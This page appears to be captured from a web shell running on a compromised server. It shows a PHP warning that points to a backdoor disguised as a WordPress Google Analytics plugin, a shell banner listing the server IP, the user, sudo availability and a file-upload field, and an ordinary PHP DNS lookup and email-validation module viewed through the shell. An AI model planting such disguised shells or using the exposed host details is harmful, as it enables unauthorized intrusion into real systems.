Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/theyoungdesigners_com/modules/apiDNSclient/ |
Upload File : |
<?php
# https://github.com/metaregistrar/php-dns-client
/*
Requires the following changes for Amazon TXT (eg DKIM records)
dnsResponse.php:
case 'TXT':
$result = new dnsTXTresult(substr($buffer, $this->responsecounter, $ans_header['length']));
$this->responsecounter += $ans_header['length'] ;
break;
dnsTXTresult.php:
public function __construct($record)
{
parent::__construct();
$length = 0;
$txt = '';
while ($record != '') {
$c = ord($record[0]);
$length += $c;
$txt .= substr($record, 1, $c);
$record = substr($record, $c + 1);
}
$this->recordlength = $length;
$this->setRecord($txt);
}
*/
namespace modules\apiDNSclient;
use Metaregistrar\DNS\dnsProtocol;
function _is_a($item, $objecttype) {
$itemclass = strtolower(get_class($item));
return $itemclass == $objecttype;
}
function _asTime($duration) {
$seconds = $duration . 's';
$ss = $duration % 60;
$mm = intval($duration / 60);
$hh = intval($mm / 60); $mm = $mm % 60;
$hms = '(' . $hh . 'h ' . $mm . 'm ' . $ss . 's)';
return "<span title=\"$hms\">$seconds</span>";
}
class main extends \moduleMain {
public function __construct() {
parent::__construct(__DIR__);
}
public function Activate() {
hook_add('dns.lookup', [$this, '__dns_lookup']);
hook_add('email.validate', [$this, '__validate_email'], 1);
}
private function _GetNameServers($servers) {
$default = ['8.8.8.8', '8.8.4.4']; // this should be a setting
if ($servers === NULL) $servers = [];
if (!is_array($servers)) $servers = [ $servers ];
if (!count($servers)) return $default;
$output = [];
foreach($servers as $server) {
if (!filter_var($server, FILTER_VALIDATE_IP)) { // have a hostname
$res = $this->lookup($server, $default);
if ($res !== FALSE) $output[] = $res;
} else {
$output[] = $server;
}
}
return $output;
}
public function __dns_lookup(&$result, $query, $type, $servers = NULL) {
$serverlist = $this->_GetNameServers($servers);
$n = new dnsProtocol();
$n->SetConnectionTimeout(2.0);
$n->SetReadTimeout(2.0);
$n->SetServer($serverlist[0]);
// $answer = $n->Query($query . '.', $type);
$answer = $n->Query($query, $type);
if (is_object($answer)) {
foreach($answer->getResourceResults() as $item) { // Answers
$result[] = $this->_addItem($item, 'Answer');
}
foreach($answer->getNameserverResults() as $item) { // name server
$result[] = $this->_addItem($item, 'Authority');
}
foreach($answer->getAdditionalResults() as $item) {
$result[] = $this->_addItem($item, 'Additional');
}
}
}
private function _addItem($itemdata, $section) {
$name = $itemdata->getDomain();
$class = $itemdata->getClass();
$typeid = $itemdata->getTypeId();
$duration = $itemdata->getTtl();
$raw = $data = '';
switch($typeid) {
case 'MX':
$pref = $itemdata->getPrio();
$ex = $itemdata->getServer();
$data = "<table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" width=\"100%\">".
"<tr><td>preference:</td><td align=\"right\">$pref</td></tr>".
"<tr><td>exchange:</td><td align=\"right\">$ex</td></tr></table>";
$raw = $ex;
break;
case 'SOA':
$s_server = $itemdata->getNameserver();
$s_email = $itemdata->getResponsible();
$s_serial = $itemdata->getSerial();
$s_refresh =_asTime($itemdata->getRefresh());
$s_retry = _asTime($itemdata->getRetry());
$s_expire = _asTime($itemdata->getExpiry());
$s_minttl = _asTime($itemdata->getMinttl());
$data = "<table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" width=\"100%\">".
"<tr><td>server:</td><td align=\"right\">$s_server</td></tr>".
"<tr><td>email:</td><td align=\"right\">$s_email</td></tr>".
"<tr><td>serial:</td><td align=\"right\">$s_serial</td></tr>".
"<tr><td>refresh:</td><td align=\"right\">$s_refresh</td></tr>".
"<tr><td>retry:</td><td align=\"right\">$s_retry</td></tr>".
"<tr><td>expire:</td><td align=\"right\">$s_expire</td></tr>".
"<tr><td>minimum ttl:</td><td align=\"right\">$s_minttl</td></tr></table>";
break;
case 'CNAME':
$data = $itemdata->getRedirect();
$raw = $data;
break;
case 'NS':
$data = $itemdata->getNameserver();
$raw = $data;
break;
case 'AAAA':
$data = $itemdata->getIpv6long();
$raw = $data;
break;
case 'PTR':
$data = $itemdata->getData();
$raw = $data;
break;
case 'A':
$data = $itemdata->getIpv4();
$raw = $data;
break;
case 'TXT':
$data = $itemdata->getRecord();
$raw = $data;
break;
default: // unknown object type
echo "item: <pre>";
var_dump($itemdata);
echo "</pre>";
exit;
// $data = $itemdata['data'];
}
$time = _asTime($duration);
return [$name, $class, $typeid, $data, $time, $raw];
return "<tr><td valign=\"top\">$name</td><td valign=\"top\">$class</td>".
"<td valign=\"top\">$type</td><td valign=\"top\">$data</td>".
// "<td valign=\"top\" align=\"right\">$seconds</td><td valign=\"top\">$hms</td></tr>\n";
"<td valign=\"top\" align=\"right\">$time</td></tr>\n";
}
// is the host part of an email address point to a valid server
public function __validate_email(&$result, $email_address) {
if (strpos($email_address, '@') === FALSE) {
$result[] = 'This does not look like an email address (missing "@")';
return;
}
[ $username, $domain ] = explode('@', $email_address, 2);
$domain = strtolower($domain);
if (strpos($domain, '.') === FALSE) {
$result[] = 'domain part should contain at least one period';
return;
}
$answer = hook_execute('dns.lookup', [], $domain, 'MX');
$mailhost = $answer[0][5] ?? '';
if ($mailhost == '') {
$result[] = 'Invalid email address. No "MX" records are configured for "' . $domain .'"';
return;
}
// make sure it is a A record, not a CNAME
$answer = hook_execute('dns.lookup', [], $mailhost, 'CNAME');
$cname = $answer[0][5] ?? '';
if ($cname != '') {
$result[] = 'Invalid email address, server configuration error. "CNAME" record found for "' . $domain .'" mail server';
return;
}
$answer = hook_execute('dns.lookup', [], $mailhost, 'A');
$cname = $answer[0][5] ?? '';
if ($cname == '') {
$return[] = 'Invalid email address, server configuration error. No "A" record found for "' . $domain .'" mail server';
return;
}
}
}